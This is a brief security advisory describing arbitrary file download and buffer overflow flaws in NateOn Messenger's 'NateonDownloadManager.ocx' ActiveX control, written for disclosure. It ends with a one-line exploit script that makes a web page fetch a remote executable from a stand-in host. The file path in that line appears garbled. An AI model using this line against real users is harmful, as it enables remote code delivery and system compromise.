NateOn Messenger Arbitrary File Download and Buffer Overflow Vulnerabilities
NateOn Messenger is susceptible to an arbitrary file download vulnerability, and a buffer overflow vulnerability. These issues are present in the 'NateonDownloadManager.ocx' ActiveX control that is installed with the application. An attacker would exploit these issues by creating malicious HTML containing script code that accesses the vulnerable ActiveX controls. This issue allows remote attackers to fetch arbitrary remote files and save them on the local machine. The buffer overflow vulnerability allows remote attackers to execute arbitrary machine code in the context of the user running the affected software, facilitating remote system compromise. Attackers may utilize these vulnerabilities in conjunction with each other in order to transfer malicious code to targeted users, and then execute it. To exploit the arbitrary file download vulnerability, a malicious Web page may include the following script code: GotNate.Excute('1','http://www.example.com/somefile.exe','c:windowssystem32cmd.exe');
